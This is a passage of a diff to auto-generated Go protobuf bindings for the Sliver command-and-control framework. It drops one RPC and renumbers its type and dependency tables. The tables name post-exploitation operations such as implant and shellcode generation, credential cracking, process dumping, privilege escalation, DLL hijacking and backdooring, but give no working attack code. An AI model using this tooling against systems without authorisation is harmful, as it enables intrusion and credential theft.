0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, + 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, + 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, + 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, + 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, + 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, + 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, + 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, + 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, + 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, + 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, + 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, + 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, + 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, + 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var file_rpcpb_services_proto_goTypes = []interface{}{ @@ -783,437 +780,434 @@ var file_rpcpb_services_proto_goTypes = []interface{}{ (*sliverpb.Tunnel)(nil), // 116: sliverpb.Tunnel (*sliverpb.TunnelData)(nil), // 117: sliverpb.TunnelData (*clientpb.Version)(nil), // 118: clientpb.Version - (*clientpb.Operators)(nil), // 119: clientpb.Operators - (*sliverpb.Reconfigure)(nil), // 120: sliverpb.Reconfigure - (*clientpb.Sessions)(nil), // 121: clientpb.Sessions - (*clientpb.Beacons)(nil), // 122: clientpb.Beacons - (*clientpb.BeaconTasks)(nil), // 123: clientpb.BeaconTasks - (*commonpb.Response)(nil), // 124: commonpb.Response - (*clientpb.Jobs)(nil), // 125: clientpb.Jobs - (*clientpb.KillJob)(nil), // 126: clientpb.KillJob - (*clientpb.MTLSListener)(nil), // 127: clientpb.MTLSListener - (*clientpb.WGListener)(nil), // 128: clientpb.WGListener - (*clientpb.DNSListener)(nil), // 129: clientpb.DNSListener - (*clientpb.HTTPListener)(nil), // 130: clientpb.HTTPListener - (*clientpb.StagerListener)(nil), // 131: clientpb.StagerListener - (*clientpb.AllLoot)(nil), // 132: clientpb.AllLoot - (*clientpb.AllHosts)(nil), // 133: clientpb.AllHosts - (*clientpb.Generate)(nil), // 134: clientpb.Generate - (*clientpb.ExternalImplantConfig)(nil), // 135: clientpb.ExternalImplantConfig - (*clientpb.Builders)(nil), // 136: clientpb.Builders - (*clientpb.Crackstations)(nil), // 137: clientpb.Crackstations - (*clientpb.CrackFiles)(nil), // 138: clientpb.CrackFiles - (*clientpb.ImplantBuilds)(nil), // 139: clientpb.ImplantBuilds - (*clientpb.Canaries)(nil), // 140: clientpb.Canaries - (*clientpb.WGClientConfig)(nil), // 141: clientpb.WGClientConfig - (*clientpb.UniqueWGIP)(nil), // 142: clientpb.UniqueWGIP - (*clientpb.ImplantProfiles)(nil), // 143: clientpb.ImplantProfiles - (*clientpb.MsfStager)(nil), // 144: clientpb.MsfStager - (*clientpb.ShellcodeRDI)(nil), // 145: clientpb.ShellcodeRDI - (*clientpb.Compiler)(nil), // 146: clientpb.Compiler - (*clientpb.ShellcodeEncode)(nil), // 147: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 148: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 149: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 150: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 151: clientpb.Websites - (*sliverpb.Ps)(nil), // 152: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 153: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 154: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 155: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 156: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 157: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 158: sliverpb.Mv - (*sliverpb.Cp)(nil), // 159: sliverpb.Cp - (*sliverpb.Rm)(nil), // 160: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 161: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 162: sliverpb.Download - (*sliverpb.Upload)(nil), // 163: sliverpb.Upload - (*sliverpb.Chmod)(nil), // 164: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 165: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 166: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 167: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 168: sliverpb.MemfilesRm - (*sliverpb.ProcessDump)(nil), // 169: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 170: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 171: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 172: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 173: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 174: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 175: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 176: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 177: sliverpb.Execute - (*sliverpb.Sideload)(nil), // 178: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 179: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 180: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 181: sliverpb.CurrentTokenOwner - (*sliverpb.PivotListener)(nil), // 182: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 183: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 184: clientpb.PivotGraph - (*sliverpb.ServiceInfo)(nil), // 185: sliverpb.ServiceInfo - (*sliverpb.MakeToken)(nil), // 186: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 187: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 188: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 189: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 190: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 191: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 192: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 193: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 194: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 195: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 196: sliverpb.RegistryValuesList - (*sliverpb.SSHCommand)(nil), // 197: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 198: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 199: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 200: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 201: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 202: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 203: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 204: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 205: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 206: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 207: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 208: sliverpb.WGPortForward - (*sliverpb.WGSocks)(nil), // 209: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 210: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 211: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 212: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 213: sliverpb.Portfwd + (*sliverpb.Reconfigure)(nil), // 119: sliverpb.Reconfigure + (*clientpb.Sessions)(nil), // 120: clientpb.Sessions + (*clientpb.Beacons)(nil), // 121: clientpb.Beacons + (*clientpb.BeaconTasks)(nil), // 122: clientpb.BeaconTasks + (*commonpb.Response)(nil), // 123: commonpb.Response + (*clientpb.Jobs)(nil), // 124: clientpb.Jobs + (*clientpb.KillJob)(nil), // 125: clientpb.KillJob + (*clientpb.MTLSListener)(nil), // 126: clientpb.MTLSListener + (*clientpb.WGListener)(nil), // 127: clientpb.WGListener + (*clientpb.DNSListener)(nil), // 128: clientpb.DNSListener + (*clientpb.HTTPListener)(nil), // 129: clientpb.HTTPListener + (*clientpb.StagerListener)(nil), // 130: clientpb.StagerListener + (*clientpb.AllLoot)(nil), // 131: clientpb.AllLoot + (*clientpb.AllHosts)(nil), // 132: clientpb.AllHosts + (*clientpb.Generate)(nil), // 133: clientpb.Generate + (*clientpb.ExternalImplantConfig)(nil), // 134: clientpb.ExternalImplantConfig + (*clientpb.Builders)(nil), // 135: clientpb.Builders + (*clientpb.Crackstations)(nil), // 136: clientpb.Crackstations + (*clientpb.CrackFiles)(nil), // 137: clientpb.CrackFiles + (*clientpb.ImplantBuilds)(nil), // 138: clientpb.ImplantBuilds + (*clientpb.Canaries)(nil), // 139: clientpb.Canaries + (*clientpb.WGClientConfig)(nil), // 140: clientpb.WGClientConfig + (*clientpb.UniqueWGIP)(nil), // 141: clientpb.UniqueWGIP + (*clientpb.ImplantProfiles)(nil), // 142: clientpb.ImplantProfiles + (*clientpb.MsfStager)(nil), // 143: clientpb.MsfStager + (*clientpb.ShellcodeRDI)(nil), // 144: clientpb.ShellcodeRDI + (*clientpb.Compiler)(nil), // 145: clientpb.Compiler + (*clientpb.ShellcodeEncode)(nil), // 146: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 147: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 148: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 149: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 150: clientpb.Websites + (*sliverpb.Ps)(nil), // 151: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 152: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 153: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 154: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 155: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 156: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 157: sliverpb.Mv + (*sliverpb.Cp)(nil), // 158: sliverpb.Cp + (*sliverpb.Rm)(nil), // 159: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 160: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 161: sliverpb.Download + (*sliverpb.Upload)(nil), // 162: sliverpb.Upload + (*sliverpb.Chmod)(nil), // 163: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 164: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 165: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 166: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 167: sliverpb.MemfilesRm + (*sliverpb.ProcessDump)(nil), // 168: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 169: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 170: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 171: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 172: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 173: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 174: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 175: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 176: sliverpb.Execute + (*sliverpb.Sideload)(nil), // 177: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 178: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 179: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 180: sliverpb.CurrentTokenOwner + (*sliverpb.PivotListener)(nil), // 181: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 182: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 183: clientpb.PivotGraph + (*sliverpb.ServiceInfo)(nil), // 184: sliverpb.ServiceInfo + (*sliverpb.MakeToken)(nil), // 185: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 186: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 187: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 188: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 189: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 190: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 191: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 192: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 193: sliverpb.RegistryDeleteKey + (*sliverpb.RegistrySubKeyList)(nil), // 194: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 195: sliverpb.RegistryValuesList + (*sliverpb.SSHCommand)(nil), // 196: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 197: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 198: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 199: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 200: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 201: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 202: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 203: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 204: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 205: sliverpb.ListWasmExtensions + (*sliverpb.ExecWasmExtension)(nil), // 206: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 207: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 208: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 209: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 210: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 211: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 212: sliverpb.Portfwd } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty 1, // 1: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData - 0, // 2: rpcpb.SliverRPC.GetOperators:input_type -> commonpb.Empty - 2, // 3: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq - 3, // 4: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq - 4, // 5: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq - 0, // 6: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty - 0, // 7: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty - 5, // 8: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon - 5, // 9: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon - 5, // 10: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon - 6, // 11: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask - 6, // 12: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask - 0, // 13: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty - 0, // 14: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty - 0, // 15: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty - 7, // 16: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq - 8, // 17: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq - 9, // 18: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq - 10, // 19: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq - 11, // 20: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq - 11, // 21: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq - 12, // 22: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq - 12, // 23: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq - 13, // 24: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot - 13, // 25: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot - 13, // 26: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot - 13, // 27: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot - 0, // 28: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty - 0, // 29: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty - 14, // 30: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials - 14, // 31: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials - 14, // 32: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials - 15, // 33: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential - 15, // 34: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential - 15, // 35: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential - 15, // 36: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential - 0, // 37: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty - 16, // 38: rpcpb.SliverRPC.Host:input_type -> clientpb.Host - 16, // 39: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host - 17, // 40: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC - 18, // 41: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq - 19, // 42: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq - 20, // 43: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary - 21, // 44: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:input_type -> clientpb.ImplantConfig - 22, // 45: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder - 23, // 46: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event - 0, // 47: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty - 24, // 48: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation - 23, // 49: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event - 25, // 50: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark - 0, // 51: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty - 26, // 52: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask - 26, // 53: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask - 27, // 54: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile - 27, // 55: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile - 28, // 56: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk - 28, // 57: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk - 27, // 58: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile - 27, // 59: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile - 29, // 60: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq - 0, // 61: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty - 30, // 62: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq - 0, // 63: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty - 0, // 64: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty - 0, // 65: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty - 0, // 66: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty - 30, // 67: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq - 31, // 68: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile - 32, // 69: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq - 33, // 70: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq - 0, // 71: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty - 34, // 72: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq - 0, // 73: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty - 0, // 74: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty - 35, // 75: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder - 35, // 76: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder - 0, // 77: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty - 36, // 78: rpcpb.SliverRPC.Website:input_type -> clientpb.Website - 36, // 79: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website - 37, // 80: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent - 37, // 81: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent - 38, // 82: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent - 39, // 83: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping - 40, // 84: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq - 41, // 85: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq - 42, // 86: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq - 43, // 87: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq - 44, // 88: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq - 45, // 89: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq - 46, // 90: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq - 47, // 91: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq - 48, // 92: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq - 49, // 93: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq - 50, // 94: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq - 51, // 95: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq - 52, // 96: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq - 53, // 97: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq - 54, // 98: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq - 55, // 99: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq - 56, // 100: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq - 57, // 101: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq - 58, // 102: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq - 59, // 103: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq - 60, // 104: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq - 61, // 105: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq - 62, // 106: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq - 63, // 107: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq - 64, // 108: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq - 65, // 109: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq - 66, // 110: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq - 67, // 111: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq - 68, // 112: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq - 69, // 113: rpcpb.SliverRPC.Execute:input_type -> 